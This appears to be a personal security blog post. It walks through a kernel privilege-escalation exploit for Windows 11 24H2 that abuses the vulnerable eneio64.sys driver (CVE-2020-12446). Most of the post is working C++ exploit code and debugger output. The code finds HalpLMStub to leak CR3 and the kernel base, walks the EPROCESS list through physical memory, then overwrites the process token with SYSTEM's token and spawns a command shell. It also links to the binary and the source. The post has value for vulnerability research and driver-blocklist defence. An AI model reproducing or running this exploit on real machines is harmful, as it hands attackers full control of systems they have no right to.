{ enessakircolak }

Windows-11_24h2_Exploit

Nov 13, 2025
7 minutes

Win11-24h2

Entrance

Once upon a time in kernel land, there was a bug. It found in eneio64.sys driver and now that driver is in the forbidden lands, LOLDrivers.
It already exploited (22h2) you can find it in Yazid’s blog for better explanation of VA-PA(Virtual Address to Physical Address). Because I focused on how to exploit that vulnerability on 24h2.
Why I’m doing it again? Its not working on 24h2 because of new restriction. Now we will explore 24h2’s mysterious land.

Eneio64.sys

I assume everybody know how to start and communicate with the drivers. If you are not familiar please read previous posts about Windows Kernel. Link

First of all I tried Yazid’s exploit but it didn’t work. NtQuerySystemInformation is not returned the address of the target process’s handle because of new restriction. You can reach the details of the kaslr leaks restriction and here is the CVE-2020-12446.

IOCTL


exp.png

Target IOCTL. This vulnerability gives us an Arbitrary Physical Memory Read/Write primitive. It takes our parameter and maps a physical memory address to a virtual address then it gives us that VA.

exp.png

In short, the driver opens the physical memory section and directly maps to a userland VA, so our pointer which is returned by IOCTL gives us direct access to physical memory.

I’ll keep it short, fourth parameter is the mapped address and we are going to use it for read and write into phys mem. There is no difference than mentioned blog yet.

Exploitation

0: kd> dqs poi(nt!HalpLowStub) L20
fffff797`8000d000  00000001`00064de9
fffff797`8000d008  3018003f`00000001
fffff797`8000d010  00000000`00000001
fffff797`8000d018  00000000`00000000
fffff797`8000d020  00000000`00000000
fffff797`8000d028  00209b00`00000000
fffff797`8000d030  00000000`00000000
fffff797`8000d038  00cf9300`0000ffff
fffff797`8000d040  00000000`00000000
fffff797`8000d048  00cf9b00`0000ffff
fffff797`8000d050  00000000`00000000
fffff797`8000d058  00000000`120fd000
fffff797`8000d060  36da0030`0001367c
fffff797`8000d068  00000000`00100001
fffff797`8000d070  fffff800`e3dddf70 nt!HalpLMStub
fffff797`8000d078  fffff797`8000d000
fffff797`8000d080  00070106`00070106
fffff797`8000d088  00000000`00000901
fffff797`8000d090  00000000`80050033
fffff797`8000d098  00000000`00000000
fffff797`8000d0a0  00000000`001ae000 -> CR3
fffff797`8000d0a8  00000000`00370e78
fffff797`8000d0b0  00000000`00000000

If we can found HalpLMStub we can reach the CR3 to virt-to-phys. So, firstly I calculate the offset and used statically but then I changed it to reading first 8 bytes(opcodes) to obtain offset.

exp.png


HMODULE hModule = LoadLibrary(L"ntoskrnl.exe");
UINT64 halpLmStubPhysicalPointer = 0;
unsigned long long halpoffset = 0;

for (int i = 0x0; i < 0x1000000; i++) {
    UINT64 qword_value = (DWORD_PTR)hModule + i;

	if ((*((unsigned long long*)qword_value)) == 0xe1200f00ebd8220f) // first opcodes of the halpLMStub
    {
        halpLmStubPhysicalPointer = qword_value;
		halpoffset = i;
		printf("[*] HalpLMStub offset -> %p\n", halpoffset);
        break;
    }
}

We got the offset of HalpLMStub. Let’s find kernel-land address of HalpLMStub


BYTE* memory_data = (BYTE*)inbuf->MappingAddress;

for (physical_offset = 0x0; physical_offset < 0x100000; physical_offset += sizeof(UINT64)) {

    UINT64 qword_value = ReadMemoryU64(memory_data, physical_offset);

    if ((qword_value & 0xFFFF) == (halpLmStubPhysicalPointer & 0xFFFF)) {

        printf("[*] Found HalpLMStub -> %p\n", qword_value);
        //HexDump(memory_data + physical_offset, 0x1000, physical_offset);
        halpLmStubPhysicalPointer = qword_value;
        printf("[*] phys offset -> %p\n", physical_offset);
        break; // I hate this
    }

}

Then it is easy to get CR3. It is in the next 0x30 of HalpLMStub.


ULONG32 cr3 = 0;

for (size_t i = 0; i < sizeof(ULONG32); ++i) {
    cr3 |= (ULONG32)(memory_data[physical_offset + 0x30 + i]) << (i * 8);
}

std::cout << "[*] Leaked CR3 -> " << std::hex << cr3 << std::endl;


Now my theory is quite simple. Find first process’s EPROCESS and its same as ANDROID init_task. There is a symbol of first(SYSTEM) task’s structure. In Windows it is PsInitialSystemProcess.

Kernel base = 0xfffff800`e3770000

1: kd> dq nt!PsInitialSystemProcess L1
fffff800`e4734aa8  ffffc08e`bb699040 -> EPROCESS of system

fffff800e4734aa8 - 0xfffff800e3770000 = 0xFC4AA8(offset). When I try to read that address I will find SYSTEM’s EPROCESS.

1: kd> !process 0 0 system
PROCESS ffffc08ebb699040 -> here it is
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ae002  ObjectTable: ffffa98c4523dec0  HandleCount: 2269.
    Image: System

As you can see there is EPROCESS of the system. Now the next chapter, we will find our task :)

Task Traversal


1: kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x1c8 ProcessLock      : _EX_PUSH_LOCK
   +0x1d0 UniqueProcessId  : Ptr64 Void		// this is what we are going to check for
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY // this is what we move with


exp.png

FLinks are point to next process’s FLinks, so don’t assume it point to EPROCESS address(because I did that mistake once).

        unsigned long long kernel_base = halpLmStubPhysicalPointer - halpoffset;
        std::cout << "[*] Leaked Kernel Base -> " << std::hex << kernel_base << std::endl;
        unsigned long long psInitialSystemProcess = kernel_base + PsInitialSystemProcessOffset;
        std::cout << "[*] Leaked PsInitialSystemProcess -> " << std::hex << psInitialSystemProcess << std::endl;
        UINT64 systemEPROCESS = 0;

        systemEPROCESS = VirtualToPhysical(cr3, psInitialSystemProcess, memory_data);
        std::cout << "[*] Phys PsInitialSystemProcess -> " << std::hex << systemEPROCESS << std::endl;

        unsigned long long eprocess_system = ReadMemoryU64(memory_data, systemEPROCESS);
        std::cout << "[*] Eprocess System -> " << std::hex << eprocess_system << std::endl;
        unsigned long long p_pid = eprocess_system + ProcessID_OFFSET;
        unsigned long long p_pid_physical = VirtualToPhysical(cr3, p_pid, memory_data);
        unsigned long long pid_value = ReadMemoryU64(memory_data, p_pid_physical);
        std::cout << "[*] System PID -> " << pid_value << std::endl;
        unsigned long long curr_pid = GetCurrentProcessId();
        std::cout << "[*] Current PID -> " << curr_pid << std::endl;

        // Task Traversal 
        unsigned long long process_flink, process_flink_physical, next_process;

        next_process = eprocess_system;
        while (pid_value != curr_pid) {
            process_flink = next_process + Flink_OFFSET;
            std::cout << "[*] Process_FLink -> " << std::hex << process_flink << std::endl;
            process_flink_physical = VirtualToPhysical(cr3, process_flink, memory_data);
            next_process = (ReadMemoryU64(memory_data, process_flink_physical));
            pid_value = VirtualToPhysical(cr3, next_process - 0x8, memory_data);// pid is 8 bytes before flink
            pid_value = ReadMemoryU64(memory_data, pid_value);
            //std::cout << "[*] Next PID -> " << pid_value << std::endl;
            next_process = VirtualToPhysical(cr3, next_process, memory_data);;
            next_process = ReadMemoryU64(memory_data, next_process) - Flink_OFFSET;
        }
        unsigned long long process_blink = next_process + Flink_OFFSET + 0x8; // blink is 8 bytes after flink
        std::cout << "[*] Process_BLink -> " << std::hex << process_blink << std::endl;
        process_flink_physical = VirtualToPhysical(cr3, process_blink, memory_data);
        next_process = (ReadMemoryU64(memory_data, process_flink_physical)); // prev eprocess
        pid_value = VirtualToPhysical(cr3, next_process - 0x8, memory_data);// pid is 8 bytes before flink
        pid_value = ReadMemoryU64(memory_data, pid_value);
        std::cout << "[*] Current PID -> " << pid_value << std::endl; // yeah it is current process id

        // Task Traversal End

Its a bit of confusing because every VA should be converted to PA for using. Main idea is looking for our process’s pid value at the EPROCESS. When its didn’t match, it will look for the next process. When it match, it still go for the next one more time, so at the end I arrange it to blink because it was our process.

Getting Privilege

Actually there is nothing left to do it. We have token of system and we will steal it, then we will replace our process’s token with that.

unsigned long long sys_token = eprocess_system + EPROCESS_TOKEN_OFFSET;
sys_token = VirtualToPhysical(cr3, sys_token, memory_data);
sys_token = ReadMemoryU64(memory_data, sys_token) & 0xFFFFFFFFFFFFFFF0;

std::cout << "[+] Sys_token: " << sys_token << std::endl;

unsigned long long curr_token = (next_process - Flink_OFFSET) + EPROCESS_TOKEN_OFFSET; // don't forget to subtract flink offset to get eprocess
curr_token = VirtualToPhysical(cr3, curr_token, memory_data);
//curr_token = ReadMemoryU64(memory_data, curr_token);

//std::cout << "[+] Current Token's Phys Address: " << curr_token << std::endl ;
std::cout << "[+] Overwriting current process token" << std::endl << std::endl;

for (int i = 0; i < sizeof(UINT64); ++i) {
	memory_data[curr_token + i] = (BYTE)((sys_token >> (i * 8)) & 0xFF);
}


std::cout << "[+] I'm gROOT... ";
system("cmd");

exp.png


Binary/Source


Binary and source codes here -> link


References

22h2
KASLR
Paging
virt-to-phys




~ “The important thing is not to stop questioning.” – Albert Einstein